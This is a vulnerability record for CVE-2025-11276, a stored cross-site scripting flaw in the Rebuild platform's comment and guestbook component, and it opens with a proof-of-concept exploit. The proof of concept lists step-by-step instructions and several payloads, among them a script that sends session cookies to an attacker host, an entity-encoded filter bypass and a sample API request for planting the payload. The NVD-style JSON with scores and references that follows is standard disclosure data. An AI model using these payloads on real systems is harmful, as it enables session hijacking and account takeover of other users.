CVE-2025-11276

<!-- CVE-2025-11276 - Rebuild Comment/Guestbook Stored XSS PoC --> <!-- This PoC demonstrates a stored XSS attack via the Comment/Guestbook component --> <!-- Step 1: Login as a low-privilege user to the Rebuild platform --> <!-- Step 2: Navigate to the Comment or Guestbook section --> <!-- Step 3: Submit the following malicious payload as a comment/guestbook entry --> <!-- Payload 1: Basic script injection --> <script>alert('XSS-Vulnerability-CVE-2025-11276');</script> <!-- Payload 2: Image tag with onerror event handler --> <img src=x onerror="alert(document.cookie)"> <!-- Payload 3: SVG-based XSS --> <svg/onload=alert('XSS-CVE-2025-11276')> <!-- Payload 4: Session hijacking payload (stealing cookies) --> <script> var img = new Image(); img.src = 'https://attacker-server.com/steal?cookie=' + document.cookie; </script> <!-- Payload 5: Using HTML entities to bypass basic filters --> <img src="x" onerror="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;"> <!-- Note: When other users view the page containing the malicious comment/guestbook entry, the embedded JavaScript will execute in their browser context. --> <!-- Using curl to submit the malicious comment via API (example) --> /* POST /api/comment/add HTTP/1.1 Host: target-rebuild-server.com Content-Type: application/json Cookie: session=authenticated_session_cookie { "content": "<img src=x onerror=\"alert('XSS-CVE-2025-11276')\">", "relatedId": "target_entity_id" } */

{"cve": {"id": "CVE-2025-11276", "sourceIdentifier": "[email protected]", "published": "2025-10-05T02:15:35.690", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in Rebuild up to 4.1.3. Affected by this issue is some unknown functionality of the component Comment/Guestbook. Performing manipulation results in cross site scripting. It is possible to initiate the attack remotely. Upgrading to version 4.1.4 can resolve this issue. It is suggested to upgrade the affected component. According to the researcher the vendor has confirmed the flaw and fix in a private issue response."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:N", "baseScore": 4.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://gitee.com/getrebuild/rebuild/releases/tag/4.1.4", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.327010", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.327010", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.658910", "source": "[email protected]"}]}}